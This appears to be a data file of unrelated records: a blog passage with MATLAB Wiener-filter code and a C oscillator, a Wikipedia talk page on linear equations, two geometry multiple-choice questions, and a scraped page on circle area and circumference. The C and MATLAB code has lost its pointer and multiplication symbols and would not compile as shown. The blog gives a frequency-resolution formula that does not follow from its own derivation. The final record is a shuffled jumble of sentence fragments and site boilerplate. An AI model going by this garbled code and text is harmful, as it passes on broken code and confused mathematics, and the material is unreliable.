ifft includes an imaginary value output(1+sampleSize(k-1):sampleSizek) = real(ifft(outputSpectrum, 'symmetric')); end % Renormalize and write to a file output = output/max(abs(output)); wavwrite(output, r, 'clean.wav'); To convert this implementation to use 50% overlapping filters, replace the filtering loop (below "Now, break the signal into segments…") with this snippet: output = zeros(1, length(d)); windowFunc = hann(sampleSize); k=1; while sampleSize(k-1)/2 + sampleSize < length(d) input = d(1+sampleSize(k-1)/2:sampleSize(k-1)/2 + sampleSize); inputSpectrum = fft(input . windowFunc); inputPSD = abs(inputSpectrum).^2/length(input); weinerCoefficients = (inputPSD - noisePSD) ./ inputPSD; weinerCoefficients(weinerCoefficients < 0) = 0; outputSpectrum = inputSpectrum .* weinerCoefficients; % Sometimes for small outputs ifft includes an imaginary value output(1+sampleSize(k-1)/2:sampleSize(k-1)/2 + sampleSize) = output(1+sampleSize(k-1)/2:sampleSize(k-1)/2 + sampleSize) + ifft(outputSpectrum, 'symmetric')'; k = k +1; end The corrupted source file used for the project can be downloaded here for educational use. This can be adapted to work with pretty much any signal simply by modifying the noiseRegions matrix, which is used to denote the limits of "no signal" areas to use for constructing a noise estimate. One of the most useful things that didn’t come up enough in college was a very basic concept, central to almost any digital communications system: the numerically controlled oscillator (NCO), the digital counterpart to an analog oscillator. They are used in software defined radio in order to implement modulators/demodulators and they have a number of other applications in signal processing, such as arbitrary waveform synthesis and precise control for phased array radar or sonar systems. Noise performance in digital systems can be carefully controlled by adjusting the data type’s precision, whereas in analog systems, even if the circuit is designed to produce a minimum of intrinsic noise, external sources can contribute an uncontrolled amount of noise that is much more challenging to manage properly. As digital systems increase in speed, analog circuits will be reduced to minimal front ends for a set of high speed ADCs and DACs. Luckily, NCOs are easy to understand intuitively (but surprisingly difficult to explain conceptually), which is probably why they weren’t covered in-depth in school, although they are usually not immediately obvious to someone who hasn’t already seen them. A basic NCO consists of a lookup table containing waveform data (usually a sinusoid) for exactly one period and a counter for indexing into the table. The rate of change of the counter determines the frequency of the output wave, in normalized units, because the output wave still exists in the discrete time domain. The counter is generally referred to as a ‘phase accumulator,’ or simply an accumulator, because it stores the current value of the sine’s phase, and the amount that it changes every cycle I normally refer to as the ‘phase.’ In this sense, one of the simplest explanations of how an NCO works is that it tracks the argument to $sin(2\pi \hat{f}n)$ in a counter and uses a look up table to calculate the corresponding value of $sin(2\pi \hat{f}n)$. The challenge, however, lies in the implementation. Block Diagram for a Numerically Controlled Oscillator Floating point hardware is expensive in terms of area and power. Software emulation of floating point is expensive in terms of time. And, of course, floating point numbers cannot be used to index into an array without an intermediate conversion process, which can consume a large number of cycles without dedicated hardware. As a result, most NCOs are implemented using fixed point arithmetic for the phase accumulator, even if the table stores floating point values for high end DSPs. Fixed point introduces the notion of “normalization” because the number of bits dedicated to integer and fractional values is fixed, limiting the numbers that can be represented. Ideally, the full range of the fixed point type is mapped to the full range of values to be represented by a multiplicative constant. In the case of NCOs, this is usually done by using a new set of units (as opposed to radians or degrees) to represent phase angle, based on the lookup table size. Normally, the period of $sin(x)$ is $2\pi$. However, for a lookup table, the period is the length of the table, because the input is an integer index, and the table’s range spans a single cycle of $sin(x)$. Because the index must wrap to zero after passing the end of the table, it is convenient to choose a table size that is a power of 2 so that wrap around can be implemented with a single bitwise operation or exploit the overflow properties of the underlying hardware for free, rather than an if-statement, which generally requires more cycles or hardware to evaluate. Thus, for a B-bit index, the table contains $2^B$ entries, and the possible frequencies that can be generated are integer multiples of $\frac{1}{2^B}$ (the minimum change in the accumulator’s value is naturally one table entry). There is, of course, a clear problem with this implementation when precise frequency control is necessary, such as in all of the applications I mentioned at the start. If I wanted to build a digital AM radio tuner, then my sampling frequency would theoretically need to be at least 3.3 MHz to cover the entire medium wave band, where most commercial AM stations exist (although in practice it would need to be much higher in order to improve performance). If I use a table with B=8, then my frequency resolution is 0.00390625 * 3.3 MHz = 12.89 kHz, which is insufficient to form a software demodulator because the intra-station spacing is only 10 kHz. However, because the table size grows exponentially with B, it is undesirable or impossible to increase B past a certain point, depending on the amount of memory available for the lookup table. Depending on the size of the data stored in the table, there are also noise floor issues that affect the utility of increasing B, but I will discuss the effects of word size and quantization error on NCO performance another time. A better solution is to produce non-integer multiples of the fundamental frequency by changing the index step size dynamically. For instance, by advancing the phase accumulator by an alternating pattern of 1 and then 2 samples, the effective frequency of the output sinusoid is halfway between the frequency for 1 sample and the frequency for 2 samples, plus some noise. This makes use of a second, fractional counter that periodically increments the primary index counter. The easiest way to implement this is to simply concatenate the B-bit index with an F-bit fractional index to form a fixed point word, so that an overflow from the fractional index will automatically increment the real table index. Then, when performing table lookup, the combined fixed point word is quantized to an integer value by removing the fractional bits. More advanced NCOs can use these fractional bits to improve performance by rounding or interpolating between samples in the table. Generally, because the value of F does not affect the size of the table, but it does increase the possible frequency resolution, I find the minimum value for F to give the desired resolution and then round up to the next multiple of 8 for B+F (8, 16, 24, …). It is possible to implement odd size arithmetic (such as 27 bits), but almost always the code will require at least the use of primitives for working with the smallest supported word size, which means that there is no performance penalty for increasing F so that B+F changes from 27 to 32. By adding the F-bit fractional index, the frequency resolution improves to integer multiples of $\frac{1}{B+F}$, with no change in storage requirements, allowing. The only challenge, then, is converting between a floating point normalized frequency in Hz and the corresponding fixed point representation in table units. This is normally only done once during initialization, so the penalty of emulating floating point can be ignored, as the code that runs inside a tight processing loop will only use fast fixed point hardware. Because normalized frequency (in Hz) is already constrained to the interval [0, 1), the conversion from Hz (f) to table units (p) is a simple ratio: $\frac{f}{p} = \frac{1}{2^B}$ $2^{B}f=p$ If any fractional index bits are used, then they must be included before p is cast from a floating point value to an integer by multiplying the value by the normalization constant, $2^F$, which is efficiently calculated with a left shift by F bits. The resulting value is then stored as an integer type; normally I use unsigned integers because I only need to work with positive frequency. All subsequent fixed point operations are done using the standard integer primitives with the understanding that the "true" value of the integer being manipulated is actually the stored value divided by $2^F$. This becomes important if two fixed point values are multiplied together, because the result will implicitly be multiplied by the normalization constant twice and need to be renormalized before it can be used with other fixed point value. In order to use the fixed point phase accumulator to index into the table, the integer portion must be extracted first, which is done by dividing by the $2^F$. Luckily, this can be computed efficiently with a right shift by F bits. In conclusion, because an NCO requires between 10 and 20 lines of C to implement, I've created a sample NCO that uses an 8.24 fixed point format with a lookup table that has 256 entries, to better illustrate the concept. The output is an integer waveform with values from 1 to 255, representing a sine wave with amplitude 127 that is offset by 128, which would normally be used with an 8-bit unipolar voltage output DAC to produce an analog signal biased around a half-scale virtual ground. This code was tested with Visual Studio 2005, but it should be portable to any microcontroller that has correct support for 32-bit types and 32-bit floating point numbers. uint8_t sintable32[256]; struct nco32 { uint32_t accumulator; uint32_t phase; uint8_t value; }; void sintable32_init(void); void nco_init32(struct nco32 n, float freq); void nco_set_freq32(struct nco32 n, float freq); void nco_step32(struct nco32 n); /* * Initialize the sine table using slow library functions. The sine table is * scaled to the full range of -127,127 to minimize the effects of * quantization. It is also offset by 128 in order to only contain positive * values and allow use with unsigned data types. / void sintable32_init(void) { int i; for (i = 0; i < 256; ++i) { sintable32[i] = (uint8_t) ((127.(sin(2PIi/256.))+128.) + 0.5); } } /** * Initialize the oscillator data structure and set the target frequency * Frequency must be positive (although I don't check this). / void nco_init32(struct nco32 n, float freq) { n->accumulator = 0; n->value = sintable32[0]; nco_set_freq32(n, freq); } /** * Set the phase step parameter of the given NCO struct based on the * desired value, given as a float. This changes its frequency in a phase * continuous manner, but this function should not be used inside a * critical loop for performance reasons. Instead, a chirp should be * implemented by precomputing the correct change to the phase rate * in fixed point and adding it after every sample. / void nco_set_freq32(struct nco32 n, float freq) { // 256 table entries, 24 bits of fractional index; 2^24 = 16777216 n->phase = (uint32_t) (freq * 256. * 16777216. + 0.5); } /** * Compute the next output value from the table and save it so that it * can be referenced multiple times. Also, advance the accumulator by * the phase step amount. / void nco_step32(struct nco32 n) { uint8_t index; // Convert from 8.24 fixed point to 8 bits of integer index // via a truncation (cheaper to implement but noisier than rounding) index = (n->accumulator >> 24) & 0xff; n->value = sintable32[index]; n->accumulator += n->phase; } /** * Example program, for a console, not a microcontroller, produces * 200 samples and writes them to output.txt in comma-separated-value * format. They can then be read into matlab to compare with ideal * performance using floats for phase and an actual sine function. * First parameter is the desired normalized frequency, in Hz. / int main(int argc, char argv) { struct nco32 osc; float freq; int i; FILE nco_output; freq = (float) atof(argv[1]); sintable32_init(); nco_init32(&osc, freq); nco_output = fopen("output.txt", "w"); for (i = 0; i < 200; ++i) { nco_step32(&osc); fprintf(nco_output, "%d,", osc.value); } fclose(nco_output); return 0; } There are obvious improvements, such as a linear interpolation when computing the NCO's output, but I will save those for my discussion of NCOs, resolution, quantization, and noise performance, because they are not necessary for a basic oscillator (in particular, for 8 bit samples like this, the 8.24 format is overkill, and the output has an SNR of approximately 48 dB, depending on the frequency chosen, which is limited predominantly by the fact that only 8 bits are used on the output, fundamentally limiting it to no more than 55 dB, with some approximations).	{}
# Talk:Linear equation WikiProject Mathematics (Rated B-class, Top-importance) This article is within the scope of WikiProject Mathematics, a collaborative effort to improve the coverage of Mathematics on Wikipedia. If you would like to participate, please visit the project page, where you can join the discussion and see a list of open tasks. Mathematics rating: B Class Top Importance Field: Algebra One of the 500 most frequently viewed mathematics articles. ## Normal form The old school class sequence (when I was in high school in 1965) was Algebra, Geometry, Algebra 2, Trigonometry, Analytic Geometry, Pre Calculus. The Normal form was taught in Analytic Geometry. The underlying form was that a line had direction numbers, and that these could be scaled to be direction cosines. when the direction numbers were scaled to be direction cosines the constant resolved to be the distance to the origin. The absolute shortest derivation of the equations come from Vector Algebra. It is entirely feasible to derive the equation in ordinary college algebra but it is typically long winded. See https://sites.google.com/site/everidgemath/home/writings/algebra document Distance between a point and a line. The Normal equation of a line has a natural extension to normal to a plane and is typically an early introduction to the concept. The line Ax+By+C = 0 has a normal Vector <A,B>. The particular normal vector from the origin to the line has length C/sqrt(A^2+B^2). The Normal form of the line is a classic which has been taught in analytic geometry for decades. A particular use of the normal form is this: If N(x,y)=0 is the normal form of the equation of a line then the distance from a point (a,b) to the line is \|N(a,b)\|. For example the line 3x -4y -5 =0 has the normal form 3/5 x - 4/5 y -1 = 0 and the distance from this line to the point (7,3) is \|3/5 * 7 -4/5 *3 -1\| =(21-12-5)/5 =4/5 The Normal form is more advanced than most of the other forms in this article, but less advanced than the determinant form or the parametric form. The Normal form for the equation of a line is mentioned (but not completely explicated) in the Wikipedia article Normal Form as The equation of a line: Ax + By = C, with A2 + B2 = 1 and C ≥ 0 The polar form is frequently discussed with the Normal form and is in Wikipedia article Polar coordinate system. I argue that some bit of the Normal form for the equation of the line should be added to this article. I'd also like to see the polar form as well. This article redirects from equation of a line This is not new stuff and has been around for ages. Reference Introduction to Analytic Geometry PEECEY R SMITH, PH.D and AKTHUB SULLIVAN GALE, PH.D. GINN BOSTON 1904 pp 92-93 EdEveridge (talk) 20:45, 13 May 2015 (UTC) Please stop adding this unsourced, poorly written, unencyclopedic, poorly math-formatted content to the article. You added it here before, and it was erased for the same reasons. Second level warning on your user talk page. - DVdm (talk) 21:30, 13 May 2015 (UTC) I agree with the revert by DVdm. Nevertheless, there is some important material that is lacking in this article and deserve to be added, if it would be better written than in EdEveridge version. This is: • The vector form N · (XX0) (wrong in EdEveridge version), which is closely related with matrix form (not said in EdEveridge version) • The normalized standard form or normal form, which, contrarily to the other forms, does not exist for linear equations over other fields than the reals (not said in EdEveridge version). It results from taking a unit normal vector N in the above vector form (not said in EdEveridge version). It is normally written x cos α + y sin α = c, where α is the angle between the line of the solutions and the x axis (wrong in EdEveridge version). As the comments between parentheses show, EdEveridge version is not the right way for adding this lacking material. D.Lazard (talk) 09:21, 14 May 2015 (UTC) ## Confusing sentence in One Variable section What does this sentence mean? "If a = 0, then either the equation does not have any solution, if b ≠ 0 (it is inconsistent), or every number is a solution, if b is also zero." I'd fix it if I could understand it. The structure is unparseable - If blah, then either blah, if blah, or blah, if blah. Maybe there are too many commas. I think it should be replaced with a bullet list: If a = 0, then there are two possibilities: • b ≠ 0, in which case there is no solution because the equation is inconsistent • b = 0, where every number is a solution I have a fondness for bullet lists, though. And this might not even be correct. How can a single equation be inconsistent? Isn't that a term that applies to a system of equations? And how can x = 0/0 possibly be true for all x? Anyway, I'm baffled. — Preceding unsigned comment added by 65.36.43.2 (talk) 16:05, 1 September 2015 (UTC) I agree, that sentence is awkwardly worded. Your bulleted list is correct, but I think that form is overkill in this situation. I'll rewrite the sentence. Bill Cherowitzo (talk) 16:29, 1 September 2015 (UTC) ## Adding the equation from 'Two-point form' to 'General (or standard) form' I think it would be useful to add the equation ${\displaystyle x\,(y_{2}-y_{1})-y\,(x_{2}-x_{1})=x_{1}y_{2}-x_{2}y_{1}}$, from the 'Two-point form' section, to the 'General (or standard) form' section. Even though it's stated in the 'Two-point form' section that the equation relates to the General (or standard) form, a reader looking for a way to write the General (or standard) form out of two points would find the equation in the right section right away. GuiARitter (talk) 20:53, 16 December 2015 (UTC) IMO, it would be even better to remove section "Two point form", and to dispatch its content in the relevant sections General form, Point-slope form and Parametric form (the latter requires also to be completely rewritten, as using notation that is not coherent with that of preceding sections). In fact, there is not really a two-point form, but formulas for getting the various forms from the coordinates of two points of the line. By the way, Equation of a line redirects here, and this article is also the {{main}} article of Line (geometry) § Cartesian plane. It results that it is very difficult to find the right article, for a reader looking for the equation of a line passing through two points in a space of higher dimension. I suggest to make Equation of a line a true article, and to reduce the corresponding parts of Linear equation and Line (geometry) to a summary with a template {{main}}. D.Lazard (talk) 09:07, 17 December 2015 (UTC) ## "A simple example ... may be expressed as" In my view this is poor language, so I had undone the edit, upon which user Zedshort (talk · contribs) immediately reverted without any comment. Do we think this is properly expressed? - DVdm (talk) 15:22, 16 August 2016 (UTC) I was in the process of editing when I submitted and was not trying to revert. Stop being so pedantic and persnikity about the writing of such articles, let's write for people other than mathematicians. People who know the subject will not come here to read such an article. It will be visited by people that are learning the subject and need another source that perhaps expresses the ideas just a little differently. If you come here thinking the purpose is to write for yourself then you have the wrong idea. We should always ask ourselves: "For whom am I writing?" In addition, if a single word of an edit is wrong, then correct that one word, but avoid the wholesale reversion a long string of edits. Doing otherwise suggests that you are squating on the article and are attempting to guard what you believe to be your territory. We human-beasts are very territorial creatures, but we need to overcome such base urges, otherwise there will be endless conflicts both here and in the real world. Zedshort (talk) 15:48, 16 August 2016 (UTC) I have no comment to this. I'll leave this to the other article contributors. - DVdm (talk) 16:17, 16 August 2016 (UTC) I'm afraid that that language issue was my fault. I was primarily interested in fixing the formatting of the example and then realized that I should remove the standard form phrase as it was undefined and would have no meaning to a casual reader. As my want, I attempted to edit with the minimum amount of change and that led to the awkward phrasing. With a little more reflection I would have done a better job (and still can, as I see that the formatting needs to be adjusted again.) --Bill Cherowitzo (talk) 17:10, 16 August 2016 (UTC) Ok, much better, thanks. - DVdm (talk) 19:00, 16 August 2016 (UTC) ## Vector Predicate forms for representing lines (optimized for software geometry) The section I inserted on "Orientation-Location form" (immediately undone) was an attempt to introduce into this topic a modern, algorithmic geometry (software) perspective. The crux of this new methodology (being taught in Silicon Valley public school) is inventive sketching that results in a sketch specifying an algorithm to be implemented in software. I plead innocence on the charge of "self-promotion". My goal is to help 21st century math learners pick up the strongest spatial math problem-solving methodologies, which in 2016 implies computational thinking. In the realm of geometry, this means ability to automate your creative solution to a problem by implementing it in software. I understand that this multidisciplinary approach can be unsettling to math teachers who haven't had training in numerical software design and programming. On the other hand, math teachers have an obligation to teach applied Math problem-solving as it is currently being practiced in the real world, and the expectation nowadays is that mathematical thinking be able to be automated (and replicated) via software. I'm unsure how to proceed how to spread software-savvy Math knowhow using Wikipedia, and welcome suggestions. The general lack of understanding of a mature spatial computational perspective is becoming an issue in 9-12 Math, where more teachers are bringing Computational Thinking into the classroom, but are stumbling forward unaware of the unique requirements of software math (as compared to math for earlier toolsets, such as paper and pencil + handheld calculator). (BTW, paper and pencil remain essential tools in the computational era). Here are some key changes: ``` • infinity. Infinity as a numerical value is undefined, and cannot be pushed forward into calculations. Therefore, in algorithmic math, we seek out representations that do not depend on infinity as a value. For instance, the slope-intercept representation of 2D lines is unable to represent vertical lines. • "=" differentiates into two different concepts, "←" (assignment or information copying) and "==" (predicate evaluation resulting in an equality comparison being true or false) • chunking information into objects aids in simplifcation, e.g., bundling up the x y z coordinates of a 3D location into a single vector object having its own name. • representations and algorithms want to be able to handle all cases, with the fewest exceptions (for algorithmic simplicity) • spatial concepts, representations and algorithms want to be able to scale elegantly going from 2D --> 3D and higher dimensions (if possible) ``` Run direction and orientation of 2D line 2D line equation (predicate form) The "Orientation-Location form" section I added is similar in its underpinning math pedigree to the "Normal form" (described in this talk page, and also having been controversially deleted from the article). I thought the Wikipedia norm was to err on the side of openness and inclusion (so long as articles don't become redundant). The 1965-era "Normal form" is perhaps a bit outdated for a visual-computational spatial math treatment only in that it doesn't anticipate representing points as vectors, for instance the commonplace by now notation of referring to a 2D point p = [ x y ], and referring to points as p1, p2, p3, etc. The "normal" discussed gets to one of the (potential) spatial features of a 2D line, the perpendicular vector emanating from the origin out to the line. The only reason this formalism is not perfectly attuned to software computation is that it fails for a tilted line that passes though the origin. The problem with using the "normal" as a feature is that it overcompresses information about line orientation (tilt, slope) with line location in space. In the more modern formulation, the information is split up into orientation and location, and the orientation is stored as a "normalized normal" (unit length direction vector pointing perp. to the line). You can see why a different nomenclature might be advisable, and that's how orientation o has become preferable[1]. Do the mathematicians who view and manage this page want a computational perspective treated in another page? For example, an article "Line Predicate (computational)" ?? I can't be the one to decide if more recent, computational refinements to math theory deserve to appear in the Math page, or on a separate page with a reference? But, if that's agreeable, I could take that tack. The main thing is for readers to be able to get to up-to-date Math content, or Computational Math content if you prefer. Pbierre (talk) 20:48, 6 January 2017 (UTC) References 1. ^ Bierre, Pierre (2010). Flexing the Power of Algorithmic Geometry (1st ed.). Spatial Thoughtware. ISBN 978-0-9827526-0-9. Wikipedia needs wp:secondary sources. As soon as sufficient scholars find your work sufficiently important, it will be referred to and cited in the relevant literature. Then we can (and probably should) take in on board. A matter of patience. - DVdm (talk) 23:20, 6 January 2017 (UTC)	{}
A kite in the shape of a square with a diagonal 32 cm attached to an equilateral triangle of the base 8 cm. Approximately how much paper has been used to make it? [A] $539.217 cm^{2}$ [B] $538.721 cm^{2}$ [C] $540.712 cm^{2}$ [D] $539.712 cm^{2}$	{}
Browse Questions # $(x+5)^2+(y-3)^2=36$ find the centre and radius of the circles. $\begin {array} {1 1} (A)\;(5,-3) \: and\: 6 & \quad (B)\;(-5,3) \: and\: 6 \\ (C)\;(-5,-3)\: and\: 6 & \quad (D)\;(5,3)\: and \: 6 \end {array}$ Toolbox: • Equation of a circle with centre (h, k) and radius r is given as : $(x-h)^2+(y-k)^2=r^2$ The given equation of the circle is $(x+5)^2+(y-3)^2=36$ We can rewrite the above equation as $[x-(-5)]^2+(y-3)^2=6^2$ This is of the form $(x-h)^2+(y-k)^2=r^2$ Here $h = -5$ and $k=3$ and $r=6$ hence the centre and radius are (-5, 3) and 6 respectively.	{}
The following formulas are used for circle calculations. $$cm$$, $$m$$ or $$km$$. An arch length is a portion of the circumference of a circle. Tangent is the line which touches the outer part of the circle. G17b – Circumference of a circle. Prerequisites . Whereas the area of circle defines the region occupied by it. Determine the radius of a circle. If you're seeing this message, it means we're having trouble loading external resources on our website. Given the area of a circle calculate the radius, circumference and diameter. For any circle with diameter, $$d$$, the circumference, $$C$$, is found by using the formula $$C = \pi d$$. Our tips from experts and exam survivors will help you through. The d represents the measure of the diameter, and r represents the measure of the radius. The area of a circle is A = pi multiplied with r² and the circumference is U = 2 multiplied with pi multiplied with r , in which pi is the circle constant (approximately 3,14). The point $O$ is called the center of the circle. It is interesting to note that since the exact value of π cannot be calculated, it is impossible to find the exact circumference or area of a circle. Area = πr 2. Input Data : Log in above for the teachers’ version. Tangent. Area = πr2 Area of Circles To know many other mensuration topic worksheets, stay in touch with our site. The area (A) of a circle is how much space the circle takes up or the region enclosed by the circle. Circumference of a circle: C = πd = 2 πr. Area of circle = πr 2 = 301.84 Circumference of circle = 2πr = $$\left( 2\times \frac { 22 }{ 7 } \times 9.8 \right)$$ = 61.6 cm. Search. We will start by stating the interesting fact that in the English language the area of a disk is somewhat incorrectly called the area of a circle, which is actually the area of a line or a curve (yes, a circle is a curve!) However the answers for these two ways of dealing with $$\pi$$ are slightly different. 23) area = 64 π mi² 16 π mi 24) area = 16 π in² 8π in Find the area of each. 25) circumference = 6π yd 9π yd² To relate circumference to real-life objects. Remember that, for any circle, the diameter is twice the radius, or $$d = 2r$$. Radio 4 podcast showing maths is the driving force behind modern science. Preview and details Files included (1) ppt, 906 KB. Substitute this value to the formula for circumference: C = 2 * π * R = 2 * π * 14 = 87.9646 cm. Loading... Save for later. Institutional users may customize the scope and sequence to meet curricular needs. Circumference and Area: Description: Geometry and the Circle: To define and identify points, line segments, planes, diameter, radius and chord. Times the radius of the circle squared, and you say, well they gave us the diameter, what is the radius? Catering to the learning needs of students in grade 5 through grade 8, these printable worksheets practice the topic pretty much across the board: easy, moderate and hard. So it would be this distance right … Free. Area+and+circumference+of+a+circle. Car makers can measure car wheels to make sure they fit. A circle circumference formula is given by C = … The circle with a center $O$ and a radius $r$ is denoted by $c(O,r)$. Be sure to also try our fun interactive Circumference and String game! Area of a circle by diameter Area = πr 2 =π x (d2) 2 Area = π d 2 4. Similarly, the formula for the area of a circle is tied to π and the radius: Area of a circle: A = πr2. Real life problems on circles involving arc length, sector of a circle, area and circumference are very common, so this concept can be of great importance of solving problems. Circumference of Circles: To define circle, Pi and circumference. Created: Nov 15, 2011. Practice Problem 2: Given a tire with diameter of $100$ centimeters. Circumference and area of a circle The circumference is the perimeter of a circle. It is a length and so is measured in \ (mm\), \ (cm\), \ (m\) or \ (km\). Using this calculator, we will understand methods of how to find the perimeter and area of a circle. You will also learn to write and solve problems that involve comparison between the circumference and area of circles, using both the radius and diameter. Area and circumference of circle calculator uses radius length of a circle, and calculates the perimeter and area of the circle. Circles, sectors and arcs Circles are 2D shapes with one side and no corners. How to find the circumference of a circle. An area is measured in square units: $$mm^{2}$$, $$cm^{2}$$, $$m^{2}$$ or $$km^{2}$$, All of these calculations will involve the use of $$\pi$$(Pi). They are used to explore many other formulas and mathematical equations. = 3.14 x (64) They are as follows: 1. Area of Circle. A parallelogram is a quadrilateral with two pairs of parallel sides. The diameter of the pizza is $25$ centimeters. The job in the easy set is to calculate the area and circumference of the circles with radius ranging from 1 to 25. This resource is … Question 4: Let radius of circle be r Then, diameter = 2 r circumference – Diameter = 16.8 Circumference of circle = 2πr = $$\left( 2\times \frac { 22 }{ 7 } … Find the radius or diameter of a circle when given the circumference. And so when we think about area, we know that the area of a circle, the area of a circle is equal to pi times the radius of the circle squared. Calculating areas and circumferences of circles plays an important role in almost all field of science and real life. Many thanks to Lois Lewington for correcting a few repeats and providing the solutions to the questions for us. I model on the smart board a google search about Real Life uses and show the top 5 according to Yahoo. ID: 1181346 Language: English School subject: Math Grade/level: 7 Age: 11-13 Main content: Circles Other contents: Geometry, Circles, Area of Circles, Circumference of Circles Add to my workbooks (7) Download file pdf Embed in my website or blog … Perimeter is associated with any closed figure like triangle, quadrilateral, polygons or circles.It is the measure of distance covered while going around the closed figure on its boundary. The distance around a circle is called the perimeter or circumference of the circle. This page is a one-stop shop for all your finding area and circumference of a circle exercises. About this resource. Note that the length of a segment is always positive; Circle calculator will give the perimeter and area of a circle. The distance from the center of a circle to any point on the circle is called the radius of this circle.A radius of a circle must be a positive real number. To be used after both area and Circumference has been taught as a consolidation lesson or as a revision lesson towards exam time. The word ‘perimeter’ is also sometimes used, although this usually. Also, it seems like students see formulas for the first time when learning this topic. The circle calculator, formula, example calculation (work with steps), real world problems and practice problems would be very useful for grade school students (K-12 education) to understand the concept of perimeter and area of circle. Circle Area. Courses. It is a length and so is measured in, All of these calculations will involve the use of, However the answers for these two ways of dealing with, Remember that, for any circle, the diameter is twice the radius, or, Religious, moral and philosophical studies. For instance, formula for circumference and area of a circle can be applied into geometry. 6) radius = 34.1 in. By continuing with ncalculators.com, you acknowledge & agree to our. The circumference is the perimeter of a circle. It is a length and so is measured in \(mm$$, Updated: Apr 11, 2013. ppt, 906 KB . The circumference (C) of a circle is its perimeter, or the distance around it. refers to the distance around polygons, figures made up of the straight line segment. Round your answer to the nearest tenth. A sector of a circles is the region bounded by two radii of the circle and their intercepted arc. It may be printed, downloaded or saved and used in your classroom, home school, or other educational environment to help someone learn math. Students can simply solve the various questions available in the Circumference and Area Word Problems Worksheet and learn how to solve problems on the same. Both ways are allowed, so if your answer is slightly different from the answer given for a question then this is acceptable as long as you have rounded correctly for your method. Solution : This is typically written as C = πd. 2. It is necessary to follow the next steps: A set of points in a plane equally distanced from a given point $O$ is a circle. The Area and Circumference of a Circle Worksheet are quite comfortable to use and is available for free. It is an online Geometry tool requires radius length of a circle. Learn how to find the area and perimeter of a parallelogram. Well, you might remember the radius is half of diameter, so distance from the center of the circle to the outside, to the boundary of the circle. This worksheet also includes compound shapes made with circles. Find the area of a circle with the help of diameter. Read about our approach to external linking. Area and circumference of a circle often gives our students their first taste of geometry during the year. The value must be positive real number or parameter. Area = 201.1429 in². How many revolutions does tire make while traveling $10$ kilometers? Using this calculator, we will understand methods of how to find the perimeter and area of a circle. Circumference and Area of Circles This tutorial provides comprehensive coverage of Circumference and Area of Circles based on Common Core C C S S and State Standards and its prerequisites. Give the exact answer (in terms of pi) and the approximate answer (use 3.14 or the pi button on the calculator). Find the circumference of a circle when given either the radius or diameter. You can also use it to find the area of a circle: A = π * R² = π * 14² = 615.752 cm². To understand that Pi is a constant for any circle. This tells us that the circumference of the circle is three “and a bit” … The formula for working out the circumference of a circle is: Circumference of circle = π x Diameter of circle. Students can navigate learning paths based on their level of readiness. The circumference is always the same distance from the centre - the radius. Differentiated lesson on circles that touches on sectors and looks at compound shapes. It is usually denoted by $C$. If we open a circle and make a straight line out of it, then its length is the circumference. Geometry – Circumference and Area of Circles worksheet key 2 Find the area of each circle. This concept can be of significance in geometry, to find the perimeter, area and volume of solids. Radius = 8 in Info. Usually, they don’t come to us understanding how to plug values into formulas. Area and circumference of circle calculator uses radius length of a circle, and calculates the perimeter and area of the circle. Circumference is 25.12 c.m. Teach or review how to calculate the circumference and area of a circle with Flocabulary's educational rap song and lesson plan. It is necessary to follow the next steps: Enter the radius length of a circle in the box. Enter the radius length of a circle in the box. For any circle with radius, $$r$$, the area, $$A$$, is found using the formula $$A = \pi {r^2}$$. Welcome to The Circumference and Area of Circles (A) Math Worksheet from the Measurement Worksheets Page at Math-Drills.com. Circumference of a Circle Circumference of the circle or perimeter of the circle is the measurement of the boundary of the circle. It is an online Geometry tool requires radius length of a circle. Report a problem. Once I briefly introduce these definitions, then I talk a bit about why in real life we would need to find area and circumference of a circle. Putting r, C and d in terms of A the equations are: r = A π C = 2 π r = 2 π A π If you're behind a web filter, please make sure that the domains .kastatic.org and .kasandbox.org are unblocked. = 3.14 x (8)2 144π in2 = 452.16 in2 196π km2 = 615.44 km2 81π m2 = 254.34 m2 121π cm2 = 379.94 cm2 5) radius = 2.6 in. Read more. Area+and+circumference+of+a+circle. Practice Problem 1: A pizza is divided into $8$ equal pieces. Find the area of one piece of pizza. This is the students’ version of the page. The ratio of the length of an arc to the circumference is equal to the ratio of the measure of the arc to $360$ degrees. Circumference and Area of Circles In this lesson, you will extend your knowledge of perimeter and area to include circles. Before looking at problems on circle based on perimeter and area, we need to understand both the properties of circle. A circle is a shape with all points at the boundary having the same distance to the centre. For a polygon, the distance around the figure is called the perimeter. Perimeter Definition. Find the diameter of each circle. Circumference and Area of Circles A worksheet going over the area and circumference of circles with some challenging problems toward the bottom. Our circumference and area worksheets are designed to supplement our Circumference and Area of Circles lessons. Circumference (C) The circumference of a circle is defined as the distance around the circle. The perimeter and area of triangles, quadrilaterals (rectangle, parallelogram, rhombus, kite and square), circles, arcs, sectors and composite shapes can all be calculated using relevant formulae. It is necessary to follow the next steps: Area & Perimeter of a Rectangle Calculator. Let's assume it's equal to 14 cm. To find circumference of a circle using the proper formula. Example: – Find the Area of Circles which has radius 2 cm, 10 m, 23 mm and 78 cm. Some calculators have a $$\pi$$ button but you can also use substitute $$\pi = 3.14$$. Objective : Find the area of circle. Both area and perimeter can be calculated with simple formulas using the radius or … This math worksheet was created on 2010-03-06 and has been viewed 162 times this week and 614 times this month. If you know the diameter or radius of a circle, you can work out the circumference. 21) area = 201.1 in² 16 in 22) area = 78.5 ft² 10 ft Find the circumference of each circle. Area of a circle, circumference of a circle & Parts of the circle Powerpoint revision resources. Use your calculator's value of πππ. The diameter is always twice the radius, so either form of the equation works. To begin with, remember that pi is an irrational number written with the symbol π. π is roughly equal to 3.14. The circumference is the perimeter of a circle. Part of the pizza is divided into $8$ equal pieces our fun interactive circumference diameter. The d represents the measure of the circle resources on our website,! = πr 2 =π x ( d2 ) 2 = 3.14 x ( d2 ) 2 3.14. Diameter of a circle times this month line segment centre - the radius length of a is! 2 πr a Circles is the region enclosed by the circle takes up or the distance it... And details Files included ( 1 ) ppt, 906 KB that touches on sectors and looks at compound.! Be positive real number or parameter radius or diameter 64 π mi² 16 π mi )... The point $O$ is called the perimeter, area and circumference of a circle to! Knowledge of perimeter and area of each circle we will understand methods of to! This month be positive real number or parameter stay in touch with our site may customize scope. The questions for us details Files included ( circumference and area of circles ) ppt, 906 KB with... Around polygons, figures made up of the pizza is $25$ centimeters sides! To define circle, the diameter is always positive ; circle calculator uses radius length of a circle called. One-Stop shop for all your finding area and circumference has been taught as a consolidation lesson as. This message, it seems like students see formulas for the first time learning. R represents the measure of the circle squared, and r represents the of., Pi and circumference of the radius length of a circle include Circles area! Help you through values into formulas scope and sequence to meet curricular needs you will extend knowledge... Circle takes up 